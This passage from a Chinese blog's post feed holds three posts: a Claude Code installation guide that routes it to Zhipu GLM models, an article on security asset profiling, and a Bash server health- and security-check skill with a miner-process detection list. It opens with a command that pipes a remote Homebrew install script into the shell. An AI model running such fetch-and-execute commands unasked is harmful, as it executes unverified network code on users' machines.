\u0026#34;$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\u0026#34; # 安装 Node.js brew install node Windows 用户：\n访问 Node.js 官网 下载 LTS 版本（长期支持版） 运行安装程序，一路\u0026quot;下一步\u0026quot;即可 同时安装 Git for Windows（Windows 用户必需）：\n访问 Git 官网 下载并安装，使用默认设置即可 安装 Claude Code 方式一：npm 命令行安装（推荐） 打开终端（Mac/Linux）或 PowerShell/CMD（Windows）\n执行安装命令：\n1 npm install -g @anthropic-ai/claude-code 验证安装是否成功： 1 claude --version 如果显示版本号（如 2.0.14），说明安装成功！\n方式二：使用 Cursor 编辑器引导安装 如果你有 Cursor 编辑器但不熟悉命令行：\n打开 Cursor 按 Cmd + L（Mac）或 Ctrl + L（Windows）打开聊天面板 输入：Help me install Claude Code Cursor 会引导你完成安装过程 配置国内模型 Claude Code需要接入大模型才能发挥作用，对于国内环境各个模型大厂都推出了Coding Plan套餐，以下以智谱AI的为例，安装完成后，需要配置智谱 AI 的 API Key 才能使用GLM-5模型。\n获取 API Key 访问 智谱 AI 开放平台 注册/登录账号 进入\u0026quot;API Key\u0026quot;管理页面 创建新的 API Key 并复制保存 配置方式 启动 Claude Code： 1 claude 首次启动会提示配置 API，选择\u0026quot;Manual setup\u0026quot;或手动配置\n配置环境变量：\n1 export ANTHROPIC_API_KEY=\u0026#34;你的API_Key\u0026#34; Windows PowerShell 用户：\n1 $env:ANTHROPIC_API_KEY=\u0026#34;你的API_Key\u0026#34; 永久保存配置（推荐）： 创建或编辑配置文件 ~/.claude/settings.json（Mac/Linux）或 %USERPROFILE%\\.claude\\settings.json（Windows）：\n1 2 3 4 5 6 { \u0026#34;env\u0026#34;: { \u0026#34;ANTHROPIC_API_KEY\u0026#34;: \u0026#34;你的API_Key\u0026#34;, \u0026#34;ANTHROPIC_BASE_URL\u0026#34;: \u0026#34;https://open.bigmodel.cn/api/paas/v4/\u0026#34; } } 开始使用 1. 启动 Claude Code 进入你的项目目录，然后运行：\n1 2 cd /path/to/your/project claude 2. 首次启动 Claude Code 会询问是否信任该目录，选择 \u0026ldquo;Trust\u0026rdquo; 或 \u0026ldquo;Yes\u0026rdquo; 这样 Claude Code 才能读取和修改你的项目文件 3. 基本使用 启动后，你可以直接输入自然语言命令：\n示例：\n\u0026gt; 帮我写一个 Python 函数，计算斐波那契数列 \u0026gt; 解释这个函数的作用 \u0026gt; 找出代码中所有的 console.log 并删除 \u0026gt; 运行测试用例 常用命令：\n/help - 查看帮助信息 /status - 查看当前配置和状态 /exit - 退出 Claude Code 切换模型（可选） Claude Code 支持多种智谱 AI 模型，你可以手动切换。\n修改配置文件 编辑 ~/.claude/settings.json：\n1 2 3 4 5 6 7 8 9 { \u0026#34;env\u0026#34;: { \u0026#34;ANTHROPIC_API_KEY\u0026#34;: \u0026#34;你的API_Key\u0026#34;, \u0026#34;ANTHROPIC_BASE_URL\u0026#34;: \u0026#34;https://open.bigmodel.cn/api/paas/v4/\u0026#34;, \u0026#34;ANTHROPIC_DEFAULT_HAIKU_MODEL\u0026#34;: \u0026#34;glm-4.5-air\u0026#34;, \u0026#34;ANTHROPIC_DEFAULT_SONNET_MODEL\u0026#34;: \u0026#34;glm-4.7\u0026#34;, \u0026#34;ANTHROPIC_DEFAULT_OPUS_MODEL\u0026#34;: \u0026#34;glm-5\u0026#34; } } 模型说明：\nglm-4.5-air：轻量级模型，响应快速，适合简单任务 glm-4.7：主力模型，平衡性能和质量 glm-5：最新模型，能力最强，适合复杂任务 验证配置 重新启动 Claude Code，输入 /status 查看当前使用的模型。\n常见问题 Q1: npm install 提示权限错误（Mac/Linux） 解决方案：\n1 2 3 4 5 6 7 8 9 # 使用 sudo 安装（不推荐，但最简单） sudo npm install -g @anthropic-ai/claude-code # 或配置 npm 全局目录（推荐） mkdir ~/.npm-global npm config set prefix \u0026#39;~/.npm-global\u0026#39; echo \u0026#39;export PATH=~/.npm-global/bin:$PATH\u0026#39; \u0026gt;\u0026gt; ~/.bashrc source ~/.bashrc npm install -g @anthropic-ai/claude-code Q2: 配置文件修改后不生效 解决步骤：\n关闭所有 Claude Code 窗口 重新打开终端 再次运行 claude 启动 如果问题仍存在，删除 ~/.claude/settings.json，重新配置 Q3: 如何升级到最新版本？ 1 2 3 4 5 # 检查当前版本 claude --version # 升级到最新版本 claude update 推荐使用最新版本以获得最佳体验。\nQ4: Windows 下提示找不到 claude 命令 解决方案：\n确保 npm 全局安装路径在系统 PATH 中 查找 npm 全局路径：npm config get prefix 将该路径下的 bin 目录添加到系统环境变量 PATH 中 或使用 PowerShell 重新安装：npm install -g @anthropic-ai/claude-code Q5: 如何在项目中使用？ 进入任何项目目录后启动：\n1 2 cd /path/to/your/project claude Claude Code 会自动扫描并理解项目结构，可以帮你完成：\n代码生成和补全 Bug 修复和调试 代码重构和优化 添加注释和文档 推荐工作流 日常开发流程 启动项目 1 2 cd my-project claude 描述需求 \u0026gt; 帮我创建一个用户登录页面，使用 HTML + CSS + JavaScript 迭代优化 \u0026gt; 给登录按钮添加 hover 效果 \u0026gt; 添加表单验证功能 调试问题 \u0026gt; 为什么点击登录后没有反应？帮我检查代码 团队协作 Claude Code 可以读取整个项目代码库 可以帮你理解别人的代码 可以协助 Code Review 可以生成文档和注释 进阶配置 配置视觉 MCP 服务器（图片识别） 如果你需要让 Claude Code 识别和分析图片，可以配置视觉 MCP 服务器。\n参考文档：视觉MCP服务器\n配置搜索 MCP 服务器（联网搜索） 如果你需要让 Claude Code 搜索最新信息，可以配置搜索 MCP 服务器。\n参考文档：搜索MCP服务器\n配置网页读取 MCP 服务器 如果你需要让 Claude Code 读取网页内容，可以配置网页读取 MCP 服务器。\n参考文档：网页读取MCP服务器\n总结 安装 Claude Code 只需要三步：\n✅ 安装 Node.js 18+ ✅ 运行 npm install -g @anthropic-ai/claude-code ✅ 配置智谱 AI API Key 安装后，在任何项目目录运行 claude 即可开始使用！\n参考资源 Claude Code 官方文档 智谱 AI 开放平台 GLM Coding Plan 文档 Node.js 官网 nvm GitHub 作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2026-02-27-claudecode%E5%AE%89%E8%A3%85%E6%95%99%E7%A8%8B%E5%B0%8F%E7%99%BD%E7%89%88/","summary":"\u003ch2 id=\"什么是-claude-code\"\u003e什么是 Claude Code？\u003c/h2\u003e\n\u003cp\u003eClaude Code 是一个智能编码助手，它可以在你的\u003cstrong\u003e命令行终端\u003c/strong\u003e中运行。你可以像和真人聊天一样，用自然语言告诉它你想做什么（比如\u0026quot;帮我写一个函数\u0026quot;、\u0026ldquo;修复这个bug\u0026rdquo;），它会自动帮你完成代码编写、调试、重构等任务。\u003c/p\u003e","title":"ClaudeCode安装教程（小白版）"},{"content":"资产是安全防守的基石。如果你不知道自己有什么，就不可能保护好它们。在网络安全攻防实战中，企业对自己资产的了解程度往往远低于攻击者。攻击者只需要找到一个入口点，而防守者需要保护所有可能的入口，资产画像就是解决这个问题的核心方法论。\n【什么是资产画像？】 资产画像是对网络空间中每一项资产进行全方位、多维度描述的过程。目标是回答三个核心问题：\n这资产是什么？—— 身份与属性 暴露面有多大？—— 可攻击面 风险有多少？—— 脆弱性与影响 【资产画像的七大核心维度】 一、身份维度（是谁） 资产标识：IP、MAC、主机名、域名 资产类型：服务器、网络设备、安全设备、终端、IoT、云资源 资产权属：所属业务、所属部门、责任人 生命周期：入网时间、退役时间、状态 实战要点：建立统一命名规范，确保对应关系准确，关注云环境弹性资产 二、暴露面维度（在哪） 网络位置：内网/DMZ/外网/云上 可达性：从互联网是否可直接访问 开放端口与服务：22、80、443、3389、3306等 攻击面：外部暴露点、可被利用的入口 实战要点：互联网暴露资产是重中之重，关注非常规端口，区分主动/被动暴露 三、脆弱性维度（有什么弱点） 系统漏洞：CVE编号、CVSS评分、PoC状态 配置缺陷：弱口令、默认配置、未授权访问 补丁状态：缺失的关键补丁 组件风险：Log4j、Fastjson等高危组件 实战要点：漏洞数量不重要，可利用性才重要，关注N-day漏洞武器化程度 四、价值维度（值不值得保护） 数据敏感度：是否含敏感数据、数据级别 业务重要性：核心系统/一般系统/边缘系统 影响范围：一旦失陷影响面多大 实战要点：核心业务+敏感数据=最高防护优先级，关注低调但重要的资产 五、防护维度（有什么保护） 终端防护：杀软、EDR、HIDS 网络防护：防火墙、WAF、IPS 访问控制：VPN、零信任、多因素认证 监控覆盖：日志审计、流量监控 实战要点：有部署不等于有效防护，关注防护盲区，日志要能支撑溯源 六、行为维度（平时干什么） 通信模式：正常对外连接哪些IP/端口 流量基线：日常流量特征 用户行为：谁在用什么方式访问 实战要点：建立基线需2-4周积累，关注突然出现的行为，可用于威胁狩猎 七、信任关系维度（和谁有联系） 横向关联：和哪些内网资产通信 纵向关联：上下游业务依赖 信任路径：从它出发能到达哪些关键资产 实战要点：关注枢纽型资产，横向移动目标是域控/核心数据库，打破内网即信任假设 【实施优先级】 第一阶段（1-2月）：身份+暴露面+脆弱性 —— 摸清家底，识别高风险资产 第二阶段（1-2月）：价值+信任关系 —— 建立业务视角，识别关键资产 第三阶段（持续）：防护+行为 —— 完善监控，支撑威胁检测 【资产画像数据来源】 自动化采集：nmap/masscan资产发现、Nessus/OpenVAS漏洞扫描、NDR流量分析、SIEM日志平台 人工维护：CMDB资产流程、业务调研访谈、数据分类分级项目 【应用场景】 资产清点与合规 漏洞管理优先级 攻防演练与红队评估 应急响应与溯源 安全运营与威胁狩猎 【常见挑战与对策】 挑战1：资产数量庞大 → 分阶段推进，优先覆盖核心资产 挑战2：数据质量差 → 多源数据交叉验证，建立校验机制 挑战3：云环境动态变化 → 接入云API实时同步，缩短扫描周期 挑战4：跨部门协作困难 → 建立统一资产平台，明确维护责任 【结语】 资产画像不是一次性项目，而是持续演进的过程。最终目标：知己知彼，百战不殆。 当攻击来临时，你能比攻击者更快地回答：\n哪些资产暴露在互联网上？ 哪些资产存在高危漏洞？ 哪些资产存储敏感数据？ 攻击者可能通过什么路径横向移动？ 做到这些，你就拥有了防守的主动权。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2026-02-20-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E8%B5%84%E4%BA%A7%E7%94%BB%E5%83%8F%E5%AE%9E%E6%88%98/","summary":"\u003cp\u003e资产是安全防守的基石。如果你不知道自己有什么，就不可能保护好它们。在网络安全攻防实战中，企业对自己资产的了解程度往往远低于攻击者。攻击者只需要找到一个入口点，而防守者需要保护所有可能的入口，资产画像就是解决这个问题的核心方法论。\u003c/p\u003e","title":"网络安全资产画像实战"},{"content":"摘要 手头上有几台服务器，经常要对服务器进行健康检查、安全检查等。这几天让ClaudeCode自己写了个Skill这样就一句话活就让AI给干了。本文详细介绍了如何使用Claude Code AI辅助开发工具，从零开始构建一个生产级运维健康检查的Skill。重点阐述了整体架构设计、核心功能实现细节以及实际应用效果。该系统采用模块化设计，提供三大检查模块（基础健康检查、深度安全审计、Docker容器监控），支持双格式输出（Markdown人工可读 + JSON机器可处理），具有良好的可扩展性和兼容性。\n一、背景与设计目标 1.1 实际需求 在日常运维工作中，我们需要对多台服务器进行健康检查，涵盖系统资源、Docker容器状态、安全指标等多个维度。虽然市面上有很多成熟的监控方案（如Prometheus、Grafana、Zabbix等），但在以下场景中，我们需要一个轻量级、快速部署的检查工具：\n日常巡检：每天对服务器进行快速健康扫描 安全审计：定期检查异常进程、可疑网络连接、文件系统安全 容器监控：检查Docker容器运行状态、资源使用情况 问题排查：当系统出现问题时，快速获取当前状态信息 1.2 设计目标 基于上述需求，我设定了以下设计目标交给了Claude Code：\n核心特性：\n✅ 轻量级部署：基于Bash脚本，无需额外依赖，远程执行无需安装 ✅ 双格式输出：同时生成Markdown（人工阅读）和JSON（机器处理）格式 ✅ 模块化架构：三大检查模块独立运行，可按需组合 ✅ 状态可视化：使用emoji（✅正常/⚠️警告/❌严重）直观展示 ✅ 广泛兼容性：支持bash 3.2+（macOS默认版本），适配主流Linux发行版 技术亮点：\n统一的输出库设计，实现代码复用 JSON三层结构（summary/details/metadata），满足不同使用场景 完善的错误处理和兼容性方案 清晰的扩展接口，便于添加新的检查类型 二、整体架构设计 2.1 系统架构 Claude Code自动帮我设计了整体架构 运维健康检查系统采用模块化设计，包含三个独立的检查模块：\n模块名称 脚本文件 功能定位 核心检查项 基础健康检查 health-check.sh 日常巡检、快速评估 系统资源、内存、磁盘、网络、服务状态、基础安全 深度安全检查 security-check.sh 安全审计、威胁检测 异常进程、可疑连接、文件安全、账户安全、系统完整性 Docker容器监控 docker-check.sh 容器环境管理 容器状态、资源使用、镜像管理、存储空间 设计原则：\n独立性：每个脚本可单独运行，互不依赖 一致性：统一的输出格式和状态指示 可扩展性：易于添加新的检查项或模块 远程友好：支持SSH管道执行，无需远程安装 2.2 文件结构 host-manage/ ├── skills/ops-health-check/ │ ├── SKILL.md # Skill定义和使用文档 │ └── scripts/ │ ├── health-check.sh # 基础健康检查脚本 │ ├── security-check.sh # 深度安全检查脚本 │ ├── docker-check.sh # Docker监控脚本 │ └── lib/ │ └── output.sh # 输出格式化库（核心） ├── docs/plans/ │ ├── 2025-01-17-ops-health-check-design.md # 整体设计文档 │ └── 2025-01-18-json-output-design.md # JSON输出设计 └── health-reports/ # 检查报告输出目录 ├── health-check-*.md # Markdown格式报告 ├── health-check-*.json # JSON格式数据 ├── security-check-*.md ├── security-check-*.json ├── docker-check-*.md └── docker-check-*.json 三、核心功能实现 Claude Code自动帮我实现了所有的功能\n3.1 基础健康检查模块（health-check.sh） 这是日常运维使用最频繁的模块，专注于快速评估系统整体健康状况。\n3.1.1 系统运行时间和负载检查 检查目的：了解系统运行时长和当前负载压力\n实现逻辑：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # 获取系统运行时间 uptime_output=$(uptime) uptime_clean=$(echo \u0026#34;$uptime_output\u0026#34; | sed \u0026#39;s/^ *//g\u0026#39;) # 兼容不同系统的uptime输出格式 uptime_str=$(uptime -p 2\u0026gt;/dev/null || \\ echo \u0026#34;$uptime_clean\u0026#34; | awk -F\u0026#39;up \u0026#39; \u0026#39;{print $2}\u0026#39; | awk -F\u0026#39;,\u0026#39; \u0026#39;{print $1}\u0026#39;) # 提取负载平均值（1分钟、5分钟、15分钟） load_str=$(echo \u0026#34;$uptime_clean\u0026#34; | awk -F\u0026#39;load average:\u0026#39; \u0026#39;{print $2}\u0026#39; | sed \u0026#39;s/^ *//g\u0026#39;) load_1min=$(echo $load_str | awk \u0026#39;{print $1}\u0026#39; | sed \u0026#39;s/,//\u0026#39;) load_5min=$(echo $load_str | awk \u0026#39;{print $2}\u0026#39; | sed \u0026#39;s/,//\u0026#39;) load_15min=$(echo $load_str | awk \u0026#39;{print $3}\u0026#39;) # 判断负载状态 load_status=$(check_load_status \u0026#34;$load_1min\u0026#34; \u0026#34;$CPU_WARNING\u0026#34; \u0026#34;$CPU_CRITICAL\u0026#34;) 状态判断函数：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 check_load_status() { local load=$1 local warning=$2 local critical=$3 # 使用bc进行浮点数比较 if (( $(echo \u0026#34;$load \u0026gt;= $critical\u0026#34; | bc -l) )); then echo \u0026#34;critical\u0026#34; elif (( $(echo \u0026#34;$load \u0026gt;= $warning\u0026#34; | bc -l) )); then echo \u0026#34;warning\u0026#34; else echo \u0026#34;ok\u0026#34; fi } 关键点：\n使用bc -l进行浮点数比较，兼容不同系统 兼容uptime -p命令（human-readable格式）不可用的情况 同时收集三个时间维度的负载数据，用于趋势分析 3.1.2 内存使用检查 检查目的：监控内存和swap使用情况，防止内存耗尽\n实现逻辑：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 # 获取内存信息（单位：MB） memory_info=$(free -m | grep Mem) mem_total=$(echo $memory_info | awk \u0026#39;{print $2}\u0026#39;) mem_used=$(echo $memory_info | awk \u0026#39;{print $3}\u0026#39;) mem_avail=$(echo $memory_info | awk \u0026#39;{print $7}\u0026#39;) # available列更准确 mem_percent=$(awk \u0026#34;BEGIN {printf \\\u0026#34;%.1f\\\u0026#34;, $mem_used * 100 / $mem_total}\u0026#34;) # Swap检查 swap_info=$(free -m | grep Swap) swap_total=$(echo $swap_info | awk \u0026#39;{print $2}\u0026#39;) swap_used=$(echo $swap_info | awk \u0026#39;{print $3}\u0026#39;) if [ \u0026#34;$swap_total\u0026#34; -gt 0 ]; then swap_percent=$(awk \u0026#34;BEGIN {printf \\\u0026#34;%.1f\\\u0026#34;, $swap_used * 100 / $swap_total}\u0026#34;) else swap_percent=0 fi # 状态判断 if (( $(echo \u0026#34;$mem_percent \u0026gt;= $MEMORY_CRITICAL\u0026#34; | bc -l) )); then mem_status=\u0026#34;critical\u0026#34; elif (( $(echo \u0026#34;$mem_percent \u0026gt;= $MEMORY_WARNING\u0026#34; | bc -l) )); then mem_status=\u0026#34;warning\u0026#34; else mem_status=\u0026#34;ok\u0026#34; fi 输出示例：\n1 2 3 4 5 6 ### 内存使用 - **总内存**: 16384MB - **已使用**: 12500MB (76.3%) - **可用**: 3884MB - **Swap**: 256MB / 2048MB (12.5%) - **状态**: ⚠️ 警告 关键点：\n使用free命令的available列而非free列，更准确反映可用内存 同时检查swap使用率，高swap使用率通常意味着内存压力 支持自定义阈值配置（通过环境变量MEMORY_WARNING、MEMORY_CRITICAL） 3.1.3 磁盘空间检查 检查目的：监控所有挂载点的磁盘使用情况，防止磁盘空间不足\n实现逻辑：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 echo \u0026#34;### 磁盘空间\u0026#34; echo \u0026#34;| 挂载点 | 设备 | 容量 | 已用 | 可用 | 使用率 | 状态 |\u0026#34; echo \u0026#34;|--------|------|------|------|------|--------|------|\u0026#34; # 遍历所有挂载点（排除临时文件系统） df -h | grep -vE \u0026#39;^Filesystem|tmpfs|overlay|none\u0026#39; | while read -r line; do device=$(echo $line | awk \u0026#39;{print $1}\u0026#39;) size=$(echo $line | awk \u0026#39;{print $2}\u0026#39;) used=$(echo $line | awk \u0026#39;{print $3}\u0026#39;) avail=$(echo $line | awk \u0026#39;{print $4}\u0026#39;) use_percent=$(echo $line | awk \u0026#39;{print $5}\u0026#39; | sed \u0026#39;s/%//\u0026#39;) mount=$(echo $line | awk \u0026#39;{print $6}\u0026#39;) # 判断状态 if [ \u0026#34;$use_percent\u0026#34; -ge \u0026#34;$DISK_CRITICAL\u0026#34; ]; then status=\u0026#34;critical\u0026#34; emoji=\u0026#34;❌\u0026#34; elif [ \u0026#34;$use_percent\u0026#34; -ge \u0026#34;$DISK_WARNING\u0026#34; ]; then status=\u0026#34;warning\u0026#34; emoji=\u0026#34;⚠️\u0026#34; else status=\u0026#34;ok\u0026#34; emoji=\u0026#34;✅\u0026#34; fi # 输出Markdown表格行 echo \u0026#34;| $mount | $device | $size | $used | $avail | ${use_percent}% | $emoji |\u0026#34; # 收集JSON数据 add_disk_data \u0026#34;$mount\u0026#34; \u0026#34;device\u0026#34; \u0026#34;$device\u0026#34; add_disk_data \u0026#34;$mount\u0026#34; \u0026#34;total_gb\u0026#34; \u0026#34;$size\u0026#34; add_disk_data \u0026#34;$mount\u0026#34; \u0026#34;used_gb\u0026#34; \u0026#34;$used\u0026#34; add_disk_data \u0026#34;$mount\u0026#34; \u0026#34;available_gb\u0026#34; \u0026#34;$avail\u0026#34; add_disk_data \u0026#34;$mount\u0026#34; \u0026#34;used_percent\u0026#34; \u0026#34;$use_percent\u0026#34; add_disk_data \u0026#34;$mount\u0026#34; \u0026#34;status\u0026#34; \u0026#34;$status\u0026#34; done 输出示例：\n1 2 3 4 5 6 ### 磁盘空间 | 挂载点 | 设备 | 容量 | 已用 | 可用 | 使用率 | 状态 | |--------|------|------|------|------|--------|------| | / | /dev/sda1 | 100G | 45G | 55G | 45.0% | ✅ 正常 | | /data | /dev/sdb1 | 500G | 425G | 75G | 85.0% | ⚠️ 警告 | | /boot | /dev/sda2 | 1G | 250M | 750M | 25.0% | ✅ 正常 | 关键点：\n自动过滤tmpfs、overlay等临时文件系统 支持多个挂载点，每个挂载点独立判断状态 使用整数比较（已去除百分号），提高性能 同时生成Markdown表格和JSON数组数据 3.1.4 网络连接统计 检查目的：了解当前网络连接数量，快速发现异常连接\n实现逻辑：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 # 使用ss命令替代netstat（更现代） if command -v ss \u0026gt;/dev/null 2\u0026gt;\u0026amp;1; then # 总连接数 total_connections=$(ss -tn | wc -l) # 外部连接数（排除本地回环） external_connections=$(ss -tn | awk \u0026#39;{print $5}\u0026#39; | \\ grep -v \u0026#39;127.0.0.1\u0026#39; | \\ grep -v \u0026#39;::1\u0026#39; | \\ cut -d\u0026#39;:\u0026#39; -f1 | \\ sort -u | \\ wc -l) # 监听端口数 listening_ports=$(ss -tln | wc -l) else # 降级到netstat total_connections=$(netstat -tn 2\u0026gt;/dev/null | wc -l) external_connections=$(netstat -tn 2\u0026gt;/dev/null | awk \u0026#39;{print $5}\u0026#39; | \\ grep -v \u0026#39;127.0.0.1\u0026#39; | \\ grep -v \u0026#39;::1\u0026#39; | \\ cut -d\u0026#39;:\u0026#39; -f1 | \\ sort -u | \\ wc -l) listening_ports=$(netstat -tln 2\u0026gt;/dev/null | wc -l) fi add_system_data \u0026#34;network_total_connections\u0026#34; \u0026#34;$total_connections\u0026#34; add_system_data \u0026#34;network_external_connections\u0026#34; \u0026#34;$external_connections\u0026#34; add_system_data \u0026#34;network_listening_ports\u0026#34; \u0026#34;$listening_ports\u0026#34; 关键点：\n优先使用ss命令（现代Linux推荐），降级到netstat 统计外部独立IP连接数，而非连接总数（更准确反映异常） 包含监听端口数量，便于发现未授权监听 3.1.5 systemd服务状态检查 检查目的：检查系统服务运行状态，发现失败服务\n实现逻辑：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 # 检查systemd是否可用 if command -v systemctl \u0026gt;/dev/null 2\u0026gt;\u0026amp;1; then # 统计服务状态 running_services=$(systemctl list-units --type=service --state=running 2\u0026gt;/dev/null | \\ grep \u0026#39;loaded loaded\u0026#39; | wc -l) failed_services=$(systemctl list-units --type=service --state=failed 2\u0026gt;/dev/null | \\ grep \u0026#39;loaded loaded\u0026#39; | wc -l) enabled_services=$(systemctl list-unit-files --type=service --state=enabled 2\u0026gt;/dev/null | \\ grep \u0026#39;enabled\u0026#39; | wc -l) # 获取失败服务列表 if [ \u0026#34;$failed_services\u0026#34; -gt 0 ]; then failed_list=$(systemctl list-units --type=service --state=failed 2\u0026gt;/dev/null | \\ grep \u0026#39;loaded loaded\u0026#39; | awk \u0026#39;{print $1}\u0026#39;) echo \u0026#34;### 失败的服务\u0026#34; echo \u0026#34;$failed_list\u0026#34; | while read -r service; do echo \u0026#34;- ❌ $service\u0026#34; done fi # 常用关键服务检查 critical_services=(\u0026#34;ssh\u0026#34; \u0026#34;docker\u0026#34; \u0026#34;cron\u0026#34; \u0026#34;rsyslog\u0026#34;) for svc in \u0026#34;${critical_services[@]}\u0026#34;; do if systemctl is-active --quiet \u0026#34;${svc}.service\u0026#34; 2\u0026gt;/dev/null; then echo \u0026#34;- ✅ ${svc}.service: 运行中\u0026#34; else echo \u0026#34;- ⚠️ ${svc}.service: 未运行或不存在\u0026#34; fi done else echo \u0026#34;⚠️ 系统不使用systemd\u0026#34; fi 输出示例：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 ### 服务状态 - **运行中**: 23个 - **失败**: 2个 - **启用**: 15个 #### 关键服务状态 - ✅ ssh.service: 运行中 - ✅ docker.service: 运行中 - ✅ cron.service: 运行中 - ❌ postfix.service: 已停止 #### 失败的服务列表 - ❌ postfix.service - ❌ ufw.service 关键点：\n兼容非systemd系统（如SysV init） 区分\u0026quot;运行中\u0026quot;、\u0026ldquo;失败\u0026rdquo;、\u0026ldquo;启用\u0026quot;三种状态 单独检查关键服务（SSH、Docker等），便于快速定位问题 列出所有失败服务，方便管理员进一步排查 3.1.6 基础安全检查 虽然主要的安全检查在security-check.sh中，但基础健康检查也包含几个关键的安全指标：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 echo \u0026#34;### 基础安全\u0026#34; # 1. 检查挖矿进程 MINING_PROCESSES=(\u0026#34;xmrig\u0026#34; \u0026#34;minerd\u0026#34; \u0026#34;cpuminer\u0026#34; \u0026#34;ccminer\u0026#34; \u0026#34;Claymore\u0026#34;) mining_found=0 for proc in \u0026#34;${MINING_PROCESSES[@]}\u0026#34;; do if pgrep -x \u0026#34;$proc\u0026#34; \u0026gt;/dev/null; then echo \u0026#34;- ❌ 发现挖矿进程: $proc\u0026#34; mining_found=1 fi done if [ $mining_found -eq 0 ]; then echo \u0026#34;- ✅ 未发现挖矿进程\u0026#34; fi # 2. 检查/tmp和/dev/shm中的可执行文件 tmp_execs=$(find /tmp /dev/shm -type f -executable 2\u0026gt;/dev/null | wc -l) if [ \u0026#34;$tmp_execs\u0026#34; -gt 0 ]; then echo \u0026#34;- ⚠️ 临时目录中发现 $tmp_execs 个可执行文件\u0026#34; else echo \u0026#34;- ✅ 临时目录无可执行文件\u0026#34; fi # 3. 检查失败登录次数（最近） if [ -f /var/log/auth.log ]; then failed_logins=$(grep \u0026#34;Failed password\u0026#34; /var/log/auth.log 2\u0026gt;/dev/null | \\ tail -100 | wc -l) echo \u0026#34;- 最近失败登录次数: $failed_logins\u0026#34; fi 3.2 深度安全检查模块（security-check.sh） 这是最复杂的模块，涵盖了5大类、20+项安全检查，用于全面的安全审计。\n3.2.1 异常进程检测 检查目的：发现挖矿程序、高资源占用进程、可疑可执行文件\n1. 挖矿进程检测\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 # 定义已知挖矿程序名称列表 MINING_PROCESSES=( \u0026#34;xmrig\u0026#34; \u0026#34;minerd\u0026#34; \u0026#34;cpuminer\u0026#34; \u0026#34;ccminer\u0026#34; \u0026#34;Claymore\u0026#34; \u0026#34;cryptonight\u0026#34; \u0026#34;ethminer\u0026#34; \u0026#34;nbminer\u0026#34; \u0026#34;bminer\u0026#34; ) suspicious_procs=\u0026#34;\u0026#34; mining_detected=\u0026#34;false\u0026#34; # 遍历检查 for proc in \u0026#34;${MINING_PROCESSES[@]}\u0026#34;; do # 使用pgrep查找进程（比ps aux更快） found=$(pgrep -ix \u0026#34;$proc\u0026#34; 2\u0026gt;/dev/null) if [ -n \u0026#34;$found\u0026#34; ]; then # 获取进程详细信息 proc_info=$(ps -p \u0026#34;$found\u0026#34; -o pid,user,cmd --no-headers 2\u0026gt;/dev/null) suspicious_procs=\u0026#34;$suspicious_procs\\n$proc_info\u0026#34; mining_detected=\u0026#34;true\u0026#34; # 记录到安全数据 add_security_data \u0026#34;mining_process\u0026#34; \u0026#34;$proc\u0026#34; add_security_data \u0026#34;mining_pid\u0026#34; \u0026#34;$found\u0026#34; fi done if [ \u0026#34;$mining_detected\u0026#34; = \u0026#34;true\u0026#34; ]; then echo \u0026#34;❌ 发现挖矿进程：\u0026#34; echo -e \u0026#34;$suspicious_procs\u0026#34; else echo \u0026#34;✅ 未发现挖矿进程\u0026#34; fi 2. 高资源占用进程检测\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 echo \u0026#34;### 高资源占用进程（Top 10）\u0026#34; echo \u0026#34;| PID | 用户 | CPU% | 内存% | 命令 |\u0026#34; echo \u0026#34;|-----|------|------|--------|------|\u0026#34; # CPU占用最高的进程 ps aux --sort=-%cpu | head -n 11 | tail -n 10 | while read -r line; do pid=$(echo \u0026#34;$line\u0026#34; | awk \u0026#39;{print $2}\u0026#39;) user=$(echo \u0026#34;$line\u0026#34; | awk \u0026#39;{print $1}\u0026#39;) cpu=$(echo \u0026#34;$line\u0026#34; | awk \u0026#39;{print $3}\u0026#39;) mem=$(echo \u0026#34;$line\u0026#34; | awk \u0026#39;{print $4}\u0026#39;) cmd=$(echo \u0026#34;$line\u0026#34; | awk \u0026#39;{for(i=11;i\u0026lt;=NF;i++)printf $i\u0026#34; \u0026#34;}\u0026#39; | cut -c1-50) # 标记异常高占用 if (( $(echo \u0026#34;$cpu \u0026gt; 80\u0026#34; | bc -l) )); then echo \u0026#34;| $pid | $user | **$cpu** | $mem | $cmd |\u0026#34; else echo \u0026#34;| $pid | $user | $cpu | $mem | $cmd |\u0026#34; fi done 3. 临时目录可执行文件检查\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 # 检查/tmp和/dev/shm中的可执行文件 tmp_dirs=(\u0026#34;/tmp\u0026#34; \u0026#34;/dev/shm\u0026#34; \u0026#34;/var/tmp\u0026#34;) for dir in \u0026#34;${tmp_dirs[@]}\u0026#34;; do if [ -d \u0026#34;$dir\u0026#34; ]; then exec_files=$(find \u0026#34;$dir\u0026#34; -type f -executable 2\u0026gt;/dev/null) exec_count=$(echo \u0026#34;$exec_files\u0026#34; | grep -v \u0026#39;^$\u0026#39; | wc -l) if [ \u0026#34;$exec_count\u0026#34; -gt 0 ]; then echo \u0026#34;⚠️ $dir 中发现 $exec_count 个可执行文件：\u0026#34; echo \u0026#34;$exec_files\u0026#34; | head -n 10 | while read -r file; do perms=$(stat -c \u0026#34;%a\u0026#34; \u0026#34;$file\u0026#34; 